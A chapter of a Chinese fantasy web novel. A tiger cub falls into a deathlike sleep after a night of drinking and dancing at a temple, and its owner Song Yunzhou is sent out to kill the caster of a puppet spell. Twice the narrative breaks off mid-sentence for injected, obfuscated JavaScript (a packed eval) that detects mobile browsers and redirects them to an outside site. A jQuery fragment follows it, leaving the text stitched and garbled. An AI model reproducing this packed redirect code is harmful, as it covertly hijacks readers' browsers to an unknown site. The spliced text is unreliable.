就在宋云州完全沉浸在这舒缓优美的旋律与舞蹈中时,哨笛声忽而逐渐急促加快,兰缇娅的歌声也渐趋高昂,柔缓的舞姿转为迅捷有力。 兰缇娅凌空大跳跃起,红裙翻飞,如火焰莲花层叠绽放。 她旋转于风灯构筑的星河,却极像置身熊熊烈焰,磅礴旺盛的生命力与凄艳绝美的悲壮死意交织迸发,牢牢捆缚住观看者的每一根神经。 宋云州看入了神,一时忘记了动作,就连曾看过这支舞蹈多次的霍尔加也屏住呼吸,坐直了身体。 歌曲在抵达高潮时戛然而止,兰缇娅的舞步也在这一刻猛然定住,甩起的红裙重重荡下,在空白静默中划下震颤心脏的余韵。 世间万物于此刻,仿佛都因这无法言说的震撼噤声,风声亦消尽。 数息后,哨笛的乐声才徐徐复现,歌声重回悠扬低吟,平和旷远,荡气回肠,直至所有声息缓缓隐没。 直到兰缇娅提裙谢礼,宋云州才回过神来,赶忙鼓掌夸赞。 兰缇娅笑着来到宋云州面前,附身伸手,是邀请共舞的手势。 宋云州忙不迭地摇头,抱歉道:“我不会跳舞。” 兰缇娅善解人意地转向霍尔加。 霍尔加刚露出要推拒的苗头,就听兰缇娅抢先说:“不许拒绝,我知道你会跳。” 霍尔加被她堵得一笑,干脆地伸手,借兰缇娅的力站起身。 两人走到空地,对面而立,兰缇娅左手背在身后,身体略微前倾,右手掌心朝上伸向霍尔加,挑眉一笑。 霍尔加回以一笑,双手朝身体两侧抬起少许,拇指与食指捏住虚空中并不存在的衣料,左腿后撤屈膝,微微颔首,竟是配合兰缇娅行了一个提裙礼。 纳卡诺适时吹起一支轻快的舞曲,两人相伴起舞。 旋转靠近的间隙,霍尔加对兰缇娅说了一声“谢谢”。 霍尔加明白兰缇娅的用意,她担心他会因悬铃森林的事郁结于心,有意哄他放松。 兰缇娅佯装听不懂霍尔加的意思,笑着拽他一同旋转,继续这支热烈的舞蹈。 宋云州拿过一块苹果,一边喂给布瑞德,一边欣赏舞蹈。 一曲舞毕,兰缇娅和霍尔加同时盯上了安稳坐在毯子上、喝酒看热闹的宋云州。 两人奔过来一左一右拽住宋云州的手臂,不由分说地把他也拉到空地上。 既然站到了这里,宋云州不愿扫兴,现跟霍尔加学跳舞。 宋云州的动作虽略显僵硬,但学得很快,有样学样地和霍尔加一起旋转。 可由于不得要领,宋云州几圈转下来头就晕了,一不留神和霍尔加绊在一起,摔倒在地,兰缇娅想扶没扶住。 三人或坐或蹲在地上,笑闹成一团。 纳卡诺看他们胡乱跳着,根本不按哨笛的节奏走,也就不再费力伴奏,收了哨笛,端起酒杯。 纳卡诺的目光落在不远处仰倒在地的虎崽身上,思绪渐渐放远,一杯接一杯地喝酒。 刚才兰缇娅来拉宋云州的时候,无意间碰倒桌上的酒杯,酒液洒在了布瑞德的碟子里。 布瑞德本要追着宋云州一起去空地上,被流动的深红色液体吸引,停下爪子探头看了看。 它从一开始就对宋云州喝的这个东西充满好奇,但左等右等,宋云州都没给它尝尝。 布瑞德抬头看宋云州就在离它几步远的地方,一下子就能跑过去,于是下定决心凑到碟子边舔了一小口。 布瑞德只觉得这种液体像果汁一样甜蜜好喝,它三两下喝光了碟子里的酒,没喝够,又把脸埋进宋云州的酒杯里,把余下的酒全舔光了。 纳卡诺酿的果酒入口甘甜,回味却上头,喝的时候不觉得,等反应过来的时候就已经醉了。 布瑞德就是最好的例证,它喝够了想去找宋云州,才发现四条腿、甚至是尾巴都不听使唤,画着圈走出两步便一头栽了下去。 待到宋云州和他们跳尽兴了回来时,看到的是布瑞德晕晕乎乎醉翻在地的模样。 宋云州抹去沾在布瑞德胸口毛毛上的酒液,抱着它坐在桌边和兰缇娅霍尔加又喝了几杯。 霍尔加没少喝,安静地趴倒在桌上似梦非梦,指望他自己走回房间是不太可能了。 纳卡诺不知去了哪里,就剩宋云州还算清醒,他应了兰缇娅的请求,拖着一人一虎两个醉鬼上楼。 宋云州将霍尔加的一条手臂架在颈后,倚靠着楼梯扶手慢慢走,布瑞德挤在宋云州的臂弯里呼呼大睡。 霍尔加的体重压下,宋云州走得吃力,好在霍尔加还有些许行动能力,慢吞吞地抬脚上台阶。 霍尔加的房间在神殿二楼,到了门前,霍尔加迟钝地从口袋里取出钥匙,本想自己动手开门,奈何戳了半天也没找准锁孔,只得递给宋云州,再麻烦他一下。 神殿走廊中的烛台每晚到时间自动燃亮,明亮如同白昼,房间里的烛火则需要自己去点。 宋云州借着走廊里的亮光扶霍尔加躺到床上,把布瑞德暂时安放在椅子上,点燃桌上的蜡烛。 宋云州脱掉霍尔加的靴子,把他垂在床边的两条长腿搬到床上,让他躺正。 醉酒的霍尔加一路都很安静,没撒酒疯也不多话,此时含混地开口:“……我……我要……” 宋云州没听清,以为霍尔加是不舒服,他俯身侧耳凑近霍尔加的唇边,问:“你想要什么?” “报……仇……” 温热的气息拂过耳畔,微弱却坚决的两个字相继冒出,宋云州抬头看了霍尔加一眼。 霍尔加被酒气熏染迷蒙的双眼直愣愣地盯着天花板,醉得不轻。 宋云州没接话,直起身,拉过被子给霍尔加盖好。 “哥哥……”霍尔加喃喃自语。 宋云州吹熄蜡烛,把钥匙留在桌上,抱起布瑞德走到门口,抬手搭在门把上。 “在那之后呢?”离开前,宋云州突然转过身,问躺在床上的人,“报仇之后,你有什么打算?” 或许只是瞬间的闪念,潜意识里宋云州觉得这个问题的答案至关重要,并且他有一种十分强烈的预感—— 如果他现在得不到答案,那他可能永远都无法知道了。 宋云州静待片刻,霍尔加没再开口。 宋云州笑了笑,像是突然回过味来,不明白他为什么要问一个醉鬼需要动脑子回答的问题。 宋云州迈出房间,正回身要将门关严,恰在此时,屋中传来霍尔加的声音。 “当然是……做我早就该做的事……” 这句话随着一口气缓缓呼出霍尔加的肺腑,隐晦得与什么都没说等同,宋云州却莫名觉出某种不祥的意味。 宋云州不多逗留,替霍尔加关好门,带布瑞德上楼回到他们的房间。 降愿台上,独坐桌边的兰缇娅拔出小刀,慢悠悠地新切开一个苹果,用干净碟子装好。 她望着神殿侧门等候了一段时间,确认宋云州和霍尔加不会再下楼,这才起身,端着苹果向开满紫藤花的长廊走去。 兰缇娅一直都知道纳卡诺在这里。 她刚一靠近长廊,就听到有低沉悦耳的歌声依稀传来,是纳卡诺的声音。 兰缇娅寻着歌声走过去,看到她想找的那人倚靠着廊柱坐在地上,手中攥着一大把揪下来的紫藤花,一个花环的雏形在他手中呈现。 星点月色从紫藤花遗留的缝隙中倾泻而下,洒落在铺散满地的白色长发上。 兰缇娅小心抬脚,避免踩到纳卡诺的头发,她将那碟苹果放在了纳卡诺身侧的地面上,轻声道:“拜托你来收尾了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142464|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纳卡诺没有回话,仍在低低地哼着小调。他的声音低且轻,听不清唱的究竟是什么,只间歇有旋律隐现。 纳卡诺纤长的银白睫毛低垂,遮去眼中神色,专注地盯着他正在编织的花环。 更改形貌的魔法在此刻失了效力,不知是纳卡诺故意为之,还是酒醉使然。 中年男人中规中矩的端肃面孔消失得无影无踪,取而代之的,是一张介于少年与青年之间的脸庞。单单是注视着这张脸,蛊惑人心的鲜妍媚惑便能令众生倾倒。 兰缇娅对着这张与方才全然不同的面容,并未流露出任何诧异惊奇。 紫藤花环编好了,纳卡诺终于将视线挪向碟子里苹果。他没取来苹果吃,而是将编好的花环轻轻戴在了苹果头上。 一众薄薄的半月形苹果瓣立在盘中摇摇晃晃,根本承担不起花环的重量,花环一放上去就被碰倒了。 纳卡诺毫不气馁,拿起花环,扶立苹果,再次尝试把花环放上去。 结果自然还是同样。 纳卡诺不在乎,再次耐心且执拗地重复这样无意义的动作,一遍又一遍。 兰缇娅站在旁边看着他,并不是很担心。 纳卡诺醒酒很快,过一会儿就会恢复清醒。 兰缇娅不想打扰他,转身离开,还没走出几步,竟有一声隐约带着哭腔的啜泣从身后低低传来。 “...Ealoym ve mhkja...(……我的爱人……)” 兰缇娅脚步猛地一顿,回身看向纳卡诺。 纳卡诺没再试图给苹果戴花环,转变为一手攥着花环搭在支起的膝上,另一手捧托着一小片苹果。 纳卡诺妖异的深紫色眼瞳痴痴地凝望着手心里的苹果,脸上是极其认真的神色,仿佛这一片小小的苹果里隐藏着其他人看不到的世间奇珍。 片刻后,纳卡诺的手动了动,用掌心把那片苹果直接按在了他的衣服上,是心口的位置。 很用力,却又是万分珍惜的姿态。 兰缇娅看见眼前这一幕,凶猛的酸涩倏然涌上鼻腔,她赶紧别过了脸,仰起头望向纯白的神殿。 兰缇娅无声地深吸一口气,轻轻呼出来,憋回了那一点泪意,抬步向自己的房间走去。 风灯中的白色蜡烛燃到最末,蜡泪干涸,热烈散去,寂静与暗夜重新统治神殿。 兰缇娅的房间与其说是卧室,更像一间小型兵器库,刀、剑、长弓、短弩、各种制式的箭簇,整齐有序地排列在房间的各个置物架上。 桌上散落着些许木屑,旁侧是数截长短形状不一的木条,以及一架已经制成的木制小弩,杀伤力不详,倒像是做给小孩子玩的玩具。 兰缇娅倒了一杯酒,啜饮着踱步到床边,凝视立在此处的一副铠甲。 整套铁甲被保养得极好,光可鉴人,使用的磨损痕迹几乎看不出来。只不过铠甲明明是银色的,细看之下却有血光闪烁不休,像极了魔龙肆意屠戮后浸饱了血的鳞甲。 血鳞上映出兰缇娅沉思的模样。 数千人因猎狼惨死,王军不可能咽得下这口气,势必会举兵复仇,就算动手杀人的只有烈金斯,这笔账照样会记到神殿头上。 不管神殿如何退避,只要萨里希还活着,双方迟早会再次开战。 曾经的纳卡诺不是萨里希的对手,如今就更没可能了。一旦萨里希再度出手,神殿的下场可想而知。 目前唯一值得庆幸的是,军队里的人都死光了,至少没让他们把霍尔加的行踪散播出去…… 不,还差了一个人。 兰缇娅猛然想起那条漏网之鱼——林塞,从某种程度上讲,这个人甚至是比萨里希更棘手的存在。 难缠的家伙。 兰缇娅想得有些头疼,习惯性抬手抚过面前的肩甲。 跟随她指节掠过的痕迹,银色甲身上短暂地现出一抹猩红,犹如绽开的伤口中有鲜血涌流,却并没有血液真的滴落。 兰缇娅贴在铠甲上的手指同时传来烈焰炙烤般的痛楚,那是被这套甲胄收割的怨灵在嘶吼噬咬。 仿佛受到感召,兰缇娅臂环上的宝石闪过一抹明艳火色,好似真有烈焰在其中熊熊燃烧。 兰缇娅手指离开铠甲的刹那,异象尽数消失。 灼烧感带来的刺痛平复了兰缇娅焦虑的思绪,唤回她一贯的洒脱。 打就打,战就战,左不过一死,兰缇娅从不在乎,也不曾畏惧。战役反正不会在今日打响,那她就还可以和大家一起吃烤肉、喝果酒,再跳几支喜欢的舞蹈。 兰缇娅一口饮尽杯中余酒,不作他想。 宋云州的房间里,一人一虎崽侧躺着面朝彼此,沉静安眠。 宋云州怕布瑞德着凉,把自己的被子分了一半给它。被子下,宋云州的一只手轻轻搭住虎崽的两只前爪。 夜色静谧流淌,不知过了多久。 布瑞德的眼皮忽然颤了颤,宛若沉湎深梦的人终于醒来,它缓慢而安静地睁开了双眼。 最先映入眼帘的是一张陌生而美艳的脸,虽说陌生,却似乎曾在半梦半醒中见过。 布瑞德没像往常那样一醒来就往宋云州怀里钻,而是不想惊动对方般,轻轻抽回了被宋云州虚拢着的前爪。 随后,布瑞德以一个不属于老虎的怪异姿势掀开被子,翻身坐到床边,想用悬空的两条后腿触碰地面。 两条小短腿当然没理由够到地面,毫无悬念的,布瑞德从床上摔了下来。 幸好地面上铺着厚厚的毯子,虎崽摔得不疼也没摔出声响。 布瑞德晃了晃不太清醒的脑子,努力撑起身体,混乱间,它似乎突然忘记了自己是一只虎崽,竟试图仅靠两条后腿站立。 不协调的四肢像第一次组装到一起一样,不听指挥地乱动,一不小心踩到了什么毛茸茸的东西,疼痛和拉拽感同时袭来,布瑞德被自己的尾巴结结实实绊了一个跟头。 布瑞德又尝试了数次都没能站起来,索性放弃挣扎,认命地趴在毯子上,仰头朝向虚空。 “纳……纳卡诺……” “纳卡诺!” 虎崽的嘴分明没动,却有一道属于青年男人的声音在室内响起,带着很久没说过话的低沉沙哑,但能隐约辨出原本音色的清朗好听。 几乎是虎崽发出声音的下一瞬,一团黑雾就出现在房间里。 恢复了中年男人外貌的纳卡诺半跪在布瑞德身前,伸手轻轻扶住了它摇摇欲坠的身形。 布瑞德伸出一只前爪,紧紧勾住纳卡诺的衣袖,拼尽全力地快速说道:“圣坛突发异变,那股力量被唤醒了。” 布瑞德的眼皮似有千般沉重,像极了睡眠不足的人被强硬叫醒,下一秒就要合上眼睛继续昏睡过去。它频繁眨动双眼,琥珀色的眼底隐现出繁复交错的阵纹图案。 一股黑雾自纳卡诺手心散出,在布瑞德周身游走,和它一同与某种强势力量无声抗争。 布瑞德努力在昏沉中保持一线清明,最后向纳卡诺示警:“祂已成实体,即将降临。你别管我了,快、快逃……” 话音未落,它就一头栽进纳卡诺怀里,昏迷过去。 纳卡诺保持着刚才的姿势,静静望着怀里的虎崽,方才万分紧急的话语似乎没在他心中激起一丝一毫的涟漪。 他的面容宁静,唯有眸色晦暗不清,像是在思索着什么。 过了许久,纳卡诺才有了动作,他用手心温柔地揉了揉虎崽毛茸茸的脑袋,随后抬头看了一眼床上。 宋云州仍在熟睡,对床侧发生的一切变故无知无觉。 纳卡诺沉默地抱起虎崽,悄然隐入黑雾。 37.银质古币 清晨的阳光穿透窗帘,为昏暗的房间投来携着暖意的明亮。微尘浮动间,睡在床上的人伸了一个懒腰。 宋云州打着哈欠揉了揉眼,醒来第一件事就是去看身边的布瑞德。 黑黄相间的毛茸茸侧躺在原来的位置,闭眼昏睡着,看起来还没醒酒。 宋云州翻过身,曲起一条手臂枕在脸侧,另一手抚过布瑞德的脑袋和背脊,稍微用力将它推得离自己更近一些。 不像之前稍微动一动就会醒来,此时的布瑞德和毛绒玩偶一样随意任宋云州揉圆捏扁,可爱得不得了。 宋云州笑着凑过去,用脸颊蹭了蹭布瑞德的侧脸,调笑道:“小馋猫,酒量不好啊。我下次可要看住你,不许再喝那么多酒了。” 宋云州伸出一根手指,自布瑞德额头的花纹起始,慢慢描画过它的眉眼,硬挺的鼻梁,粉嫩的鼻头,略微扎手的…… 宋云州察觉到某种异样,手猛地顿住,从布瑞德的胡须上移开,难以置信地重新凑近虎崽的鼻头,静置数秒。 随即,宋云州眼眸中蕴藏的笑意陡然变作惊惶,当即掀开被子跪坐起身,失声惊叫道:“布瑞德!” ——布瑞德没有呼吸了。 宋云州慌忙去摸虎崽的心脏。 一片死寂。 宋云州定定地看着双目紧闭的布瑞德,不知该落向何处的双手止不住地发颤,冷汗已出了一身。 宋云州极力恢复平稳的呼吸,强迫自己冷静下来,理清乱成一团浆糊的思绪。 布瑞德的身体还没僵硬,体温仍在,口鼻周边很干净,不会是喝酒或吃饭导致的中毒或过敏。 之前那么重的伤都能痊愈,就算真是中毒也不要紧,这个世界有魔法,还有挽回的机会。 对,魔法,还能救,一定能救! 宋云州飞快地说服自己镇定下来,抱起布瑞德跌撞着下床,去找纳卡诺。 宋云州刚奔到客厅,竟看见一身黑衣的纳卡诺就站在门前,并且,像是已经在此静待了许久。 此时宋云州的心神全系在布瑞德身上,无法思考多余的问题,他将布瑞德径直送到纳卡诺眼前,万分焦灼道:“它的呼吸和心跳突然都没了,你和烈金斯不是治好它了吗?怎么会这样?” 纳卡诺连看都没看虎崽,目光始终落在宋云州的脸上,平静应答道:“它所受的致命伤的确痊愈了,但它受伤时,有部分驱纵尸傀儡的魔法逸散到了它的体内,尚未消除,才会变成现在这样。若想要它彻底恢复,必须找到施术者方能解除。” 这番话似是纳卡诺早就准备好的说辞,被他不着情绪地复诵出来。 宋云州认真听着,紧绷的情绪随纳卡诺平缓的语调慢慢放平,令他得以深思纳卡诺的未尽之意。 “所以说,你是从一开始就预料到、或是说知道会出现现在这样的情况吗?”宋云州边问,边不着痕迹地收拢手臂,把布瑞德紧紧抱回自己怀里。 纳卡诺回以沉默,没有否认。 宋云州的声音流露出些许警惕与冷意,再问:“为什么不在我去悬铃森林之前就告诉我?” “那时告诉你又有什么意义呢?”纳卡诺并不觉得这有什么不对,毫不在意道,“你既然想救它,总归需要治愈它的伤口。” “除去布瑞德体内残存的魔法,它就一定能安然无恙了吗?”宋云州紧盯着纳卡诺的双眼,试图从他的眼神中找寻所需的信息,“还是说,这也只是救回它的其中一步?等我回来,布瑞德还会出现别的意外情况,而你又会有一套新的说辞?” 宋云州说到最后一句话时,捕捉到纳卡诺眸光的一瞬错动。 宋云州心间一凉—— 很不幸,他猜对了。 纳卡诺做不出任何承诺,也给不了任何保证,反而不解地问:“它不过是一只野兽幼崽,死了就是死了,为什么一定要救?” 这句话一出,成功让宋云州拧起眉心,而纳卡诺的下一句话则直接引爆了宋云州的雷区。 纳卡诺建议道:“你可以把它埋到果园里。” “布瑞德没死!”宋云州冲口而出,几近嘶吼地反驳,“它分明还有体温,它还活着!” 纳卡诺淡然道:“魔法不除,它不会再醒。” 宋云州再难压下质问的语气:“为了救布瑞德,无论有多少步我都愿意去做。但是你到底在遮掩什么?为什么不能一次性把所有事情全部告诉我?” 宋云州已记不清他上一次这样疾言厉色是什么时候了。 以前就算是遇到再不好的事情,他也会冷静地寻求处理办法,和每个人都留有余地。 可事关布瑞德,宋云州无法接受纳卡诺对此事有任何隐瞒。 今日的纳卡诺给宋云州的感觉,似是完全变了一个人那样陌生。连日相处下来,纳卡诺虽然同样不苟言笑,但很容易从他的神情中发现属于人类的生动鲜活。 可现在,纳卡诺漆黑眼眸中流露出的是事不关己的冷静与淡漠,不存在任何情绪,犹如死去多年的魂灵,正透过一具由无机质的死物构筑的皮囊絮语。 或许这才是他真实的模样。 此情此景,宋云州就算曾经坚信,现在也不敢肯定纳卡诺是在真心帮他救布瑞德。 如果纳卡诺只是想像猫戏老鼠那样戏弄他,那很可能在他拼尽全力后,随便动动手指便让布瑞德的生命化作虚无。 “我还能信你吗?”宋云州问。 纳卡诺无视宋云州的反抗,漠然说出摆在宋云州面前的可悲事实:“你不得不信我。只有我能帮你救它。” 受制于人的窒息与压抑紧紧缠附住宋云州的心脏。 他没有足以与面前人抗衡的力量。 他别无选择。 宋云州低头看了一眼布瑞德,深吸一口气,不再犹疑,抬头看向纳卡诺,干脆地问:“你想让我怎么做?” 纳卡诺道:“找到施术者后,杀了他。” 这是要他去杀人吗? 宋云州静了一瞬,随即接受良好地点头:“杀掉萨里希就行,对吧?” 宋云州很清楚,冤有头债有主,要不是布瑞德舍身救他,他已经被尸傀儡杀死了,幕后的始作俑者合该付出代价。 此去复仇,很合理。 为了布瑞德,宋云州刀山火海都敢闯。无论萨里希如何难杀,他都要一试。 宋云州毫不犹豫地应下,令纳卡诺维持的冷淡表情被迫出现了裂痕,后者用看疯子似的目光震惊地盯着宋云州。 萨里希是谁?! 连圣神倾尽神力都无法与之匹敌,被他说得却像是揪掉一根野草一样轻而易举。 他一个连魔法都不会的普通人,是怎么做到用这么胸有成竹的表情、说出这么果决的话的? 纳卡诺嘴唇微张,欲言又止,止又欲言,僵持半晌才强行忍下了让宋云州清醒一点的冲动。 纳卡诺回归正题,首先声明:“施术者不是萨里希。” 宋云州疑惑,先前不正是他们确信尸傀儡是受萨里希驱使的吗? 纳卡诺微微抬手,一小团黑雾浮现,悬停在宋云州面前。 宋云州伸出手,黑雾缓缓落入他掌心后散去,留下两枚腐朽发黑的银质古币。 纳卡诺解释道:“在你去悬铃森林后,我们焚烧了那两具傀儡尸体,在清理灰烬残骸时发现了这个。其上有残留的魔法痕迹,可以确认是使用傀儡术时的媒介物。萨里希的魔法足够强大,驱纵傀儡时直接施术,无需媒介,所以那次袭击非他所为。” 半小时后,宋云州打理好自己,依照纳卡诺的指示来到降愿台。除了一柄匕首和两枚古银币之外,他什么都没带。 宋云州不放心把布瑞德单独留在神殿,原本想带它一起走,纳卡诺却执意将它留下,只让宋云州一个人出发。 这次小菠也不能跟着宋云州一起去了,一旦属于神殿的魔法在萨里希的势力范围内施展,就一定会被大魔法师察觉,纳卡诺暂时还没有主动挑衅的想法。 不过,小菠还是可以送宋云州前往距离神殿最近的伦达奥城,那是神殿唯一能接近的、肯利埃的外围城邦。 转移魔法的光芒忽闪而过,宋云州在离开的最后一瞬,无意中瞥见了兰缇娅跑过来的身影。 兰缇娅早起呼吸新鲜空气,恰好撞见纳卡诺和宋云州十分奇怪地站在降愿台上,立刻奔向这边。但还没等她靠近,小菠就带着宋云州消失了。 “你们这是在做什么?”兰缇娅好奇地询问唯一留下的纳卡诺。 纳卡诺仍注视着宋云州刚才站立过的位置,平淡道:“先让他离开一段时间。” 兰缇娅随口猜测道:“让他暂时先回家去?” 兰缇娅最关心的问题倒不是这个,纳卡诺没回答,她也没再追问。 现在时机正好,兰缇娅转而问起她一直想知道的一件事:“虽然之前说过你的事我不干涉,但宋云州究竟是什么人,这你总能告诉我吧?多告诉我一些信息,我才好给你打掩护。” 纳卡诺刚要开口,兰缇娅根据她对纳卡诺的了解,预先插话提醒道:“你可别说真是请他来看果园的,这种借口你也就能骗骗他和霍尔加。” 不料,纳卡诺说了一句全然不相关的话:“他回来了。” “什么?”兰缇娅一愣,旋即意识到纳卡诺话中的含义,碧色眼眸微微睁大,一连串地问道,“他怎么会没有任何征兆就突然醒来了呢?是你唤醒的他?他人现在在哪儿?” “圣神目前只是意识复苏,肉身仍在沉眠。在这之前,他的灵魂拟态回归了神殿。”纳卡诺径自坦白了先前的隐瞒,“正是那只虎崽。” 兰缇娅稍显激动的情绪倏然一滞,犹如被一盆冰水兜头浇下,她一下子想通了纳卡诺面对虎崽时的种种反常,难以置信地问:“你明知道那虎崽是赫狄弥斯,却还是纵容宋云州养他。是故意要让宋云州在乎到放不下他吗?” 纳卡诺沉默认下。 兰缇娅突然轻笑一声,整件事情何其荒唐,悲哀与愤怒充斥她的心脏,像盛满沸油的铁锅爆燃。 兰缇娅猛然回身,双手狠狠揪住纳卡诺的衣领,如一头被挑衅激怒的猎豹,怒目瞪视着眼前的男人:“我遵守承诺不加干涉,可你真的清楚你在做什么吗?你分明切身经历过,你知道那种痛苦的滋味,却还在试图制造新的悲剧!” 兰缇娅身姿高挑,只比纳卡诺矮了一掌之宽,对峙时气势上不输分毫:“你怎么能做出如此卑劣的事情?!你就不怕……” 兰缇娅的声音戛然而止,像是突然被某种无形的力量定在了原地,不能言说也不能动作。她清楚这是因为什么,不得不强自平复情绪,压下冲到嘴边的话,方换回自由行动的能力。 纳卡诺平静的神色不变,任由兰缇娅发泄情绪,他猜得出兰缇娅被截断的那句话想说什么,恰好他不受此阻碍,声音冰冷地回答:“他已经不在了,不会再知道。” 兰缇娅望进纳卡诺不见情绪的双眼,终是卸了力,放弃和他多费口舌。她松开揪着纳卡诺衣料的手,转而用力推得他向后趔趄了几步。 而后,兰缇娅看也不看纳卡诺,大步愤愤离去。 宋云州回到了那条偏僻的山林小道,是他来时走过的那条路,只不过,现在改变了目的地的方向。 纳卡诺只让小菠送他到这里,要想真正抵达伦达奥城,后面还有很长的一段路要走。 飘浮在空中的小菠贴心地为宋云州指路:【接下来沿着这条路一直走,遇到三岔路口就走最右边的那条路;然后是一个两岔路口,走左边的那条;接着又是一个两岔路口,走……】 褐色纸上连成片的“左左右右”,像宋云州之前写的代码一样无休止刷新,完全看不到尽头。 宋云州看得眼花缭乱,紧急叫停:“等一下、等一下。这么多转弯你跟我说我也记不住,不如你就只告诉我最近的几处岔路该怎么走,到时我再去问问过路人就好。” 小菠深觉有理,按照宋云州的提议浮现文字,旁边还配了一小段简明扼要的路线图。 宋云州找根树枝把路线图描画在地上,辅助记忆。 小菠确认宋云州都记清楚了,不免操心道:【这里离伦达奥城还有五百多里远,要走个五六天才行,你没带吃的也没带厚衣服,晚上怎么过夜啊?】 宋云州一心都是布瑞德的安危,出来得匆忙,没在意这些细节。事已至此,只能先凑活一下了。 宋云州故作轻松地安慰小菠道:“没事,林子里应该能找到水源和食物,过夜的话我再想办法,你放心回去吧。” 小菠并不清楚发生了什么,但看宋云州和纳卡诺两个当事人的脸色都不太妙,它也不敢多问。 在小菠的认知里,靠近城邦就意味着接近萨里希,接近萨里希就等同于置身于巨大的危险。 红色小章鱼的一双大眼睛忧心忡忡地望着宋云州:【一定要注意安全啊!我会一直在神殿盼你回来的!】 宋云州笑着点点头,看小章鱼不舍地消失在魔法中。 宋云州脸上的笑容淡去,扔掉仍拿在手里的树枝,孤身向前走。 他的手指隔着布料,摸了摸裤子口袋里的古银币。 纳卡诺说这两枚古银币可以带他找到施术者,但问起具体怎么带他找,纳卡诺又不说了。 目前宋云州获得的唯一有用的线索,就是施术者栖身于肯利埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164139|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的某个城邦里,萨里希魔法覆盖下,纳卡诺无法进行准确追踪。 换句话说,要是运气不好,宋云州很可能要把肯利埃的几十座城池要塞逐一找遍,伦达奥城只是一个开始。 布瑞德的状态不知道还能坚持多久,他的行动必须尽快。 第一处岔路出现在宋云州眼前,他抛去脑中的种种杂念,拐向最右边,专注赶路。 山林幽幽,四野寂静只闻鸟鸣,宋云州又经过了几处岔路,越走越觉得心里没底。 原因无他,宋云州这一路走来,少说也得有两三个小时了,愣是一个人都没看见。 之前小菠带他离开伦达奥城时,这条路上的过路人虽不算多,但每走一段路总能遇见几个。哪像现在,仿佛整条山道上就只剩了他一个人。 莫非是因为时间还早? 宋云州抬头看了看快要升到天顶的日头。 不应该啊。 宋云州稍稍放慢了脚步,再过几个岔路他就不知道该往哪里走了。 是留在原地等人来,还是随便选一条路走? 不一定非要去伦达奥城,不管沿着哪条路走,应该都能抵达人口聚集的城镇或乡村,没准儿误打误撞就找到施术者了也说不定。 宋云州正思索着,突然听到了一点不属于山林的声音—— 是马蹄声! 从前方的拐弯处断断续续传来。 宋云州赶紧向那处跑去,生怕这声音消失不见。 果不其然,宋云州刚转过遮挡视线的山岩,就见有一人骑马缓行,朝他这边迎面走来。 宋云州悬起的心放松下来,快步走到马侧,开口问道:“你好,请问去伦达奥城该往哪个方向走?” 骑马的是个身形消瘦的年轻男人,面色有些苍白,见有人拦路便勒停了马,居高临下地上下打量了宋云州一番,不答反问道:“你进城去做什么?” 宋云州借口道:“去投奔亲戚。” 年轻男人摇了摇头,惋惜道:“那你可真是来得不巧,伦达奥城戒严了,禁止进出,你还是过段时间再来吧。” “戒严?出什么事了吗?”宋云州连忙追问。 年轻男人热心解释道:“前些日子有人刺杀城主,失手后逃到城中,现在满城的守卫都在到处抓人,闹得人心惶惶的。我本来也想进城,到了才知道出了这档子事,只能改道去别处了。你运气还不错,在这里遇到了我,少走多少冤枉路。” 这样的突发状况谁都预料不到,宋云州只得再问:“那这附近还有别的落脚处吗?” “往南边有个小村子,还算繁荣。”年轻男人指了个方向,又指了指自己马鞍边挂着的鼓鼓囊囊的布袋,“而且卖的东西都挺便宜的,你可以先去那里看看。” 年轻男人说完,和善地笑了笑,牵动马缰继续上路了。 宋云州兀自盘算着改变计划,等年轻男人走开后才回过神,急忙扭身冲马背上的人喊了一声“谢谢”。 年轻男人没回头,抬起一手挥了挥示意收到。 宋云州寻着水声找到一眼山泉,双手掬起水喝了几口,拿出刚用石子从树上砸下来的果子,在水里洗了洗,坐到小土坡上边吃边休息。 他思考之后,决定就按年轻男人说的,先去一趟南边的村子。至少得想办法换点干粮,果子虽然足以果腹,但不顶饱,吃完很快就会再饿。 另外他还需要一个水袋。 宋云州扔掉果核,站起来准备离开,又担心干净的水源不好找,于是走到泉边打算多喝几口。 就在他刚捧起水要往嘴里送的时候,一声马匹的嘶鸣乍响,同时伴随着一声男人的怒吼。 宋云州迅速喝完水,随后小心地靠近声音来处。 山道上似乎有两个人在打架,为免惹祸上身,宋云州没有贸然现身,而是避在林中窥探。 一个略胖的中年男人站在一架马拉的货车旁边,和他相对的另一人…… 距离较远,宋云州看不真切,但从衣着和马鞍上的布袋可以分辨出,另一人正是刚才给他指路的年轻男人。 此时年轻男人已下了马,就站在中年男人对面。 宋云州觉得有蹊跷,刚才他和年轻男人告别后,就直接离开山道,拐进林子里找吃的了。 他打果子和休息消耗了不少时间,年轻男人应该早就骑马走出很远了,不可能还在这片林子附近。 宋云州本打算再观察观察,谁知中年男人不知为什么,猛地从货车上抽出一块长条木板,抡圆了朝年轻男人的脑袋砸去! 宋云州远远看着,都仿佛能感受到厚木板被抡起时带来的呼呼风声。 年轻男人像是被吓傻在了原地,连躲都忘了躲。他那瘦弱的身板哪里经得住这样的力道,恐怕一板子下去不死也会要他半条命。 “住手!” 宋云州来不及细想更多,当即大喝一声,冲出林子过去帮年轻男人。这人刚才帮过他,现在遇到危险,他自然也得上前。 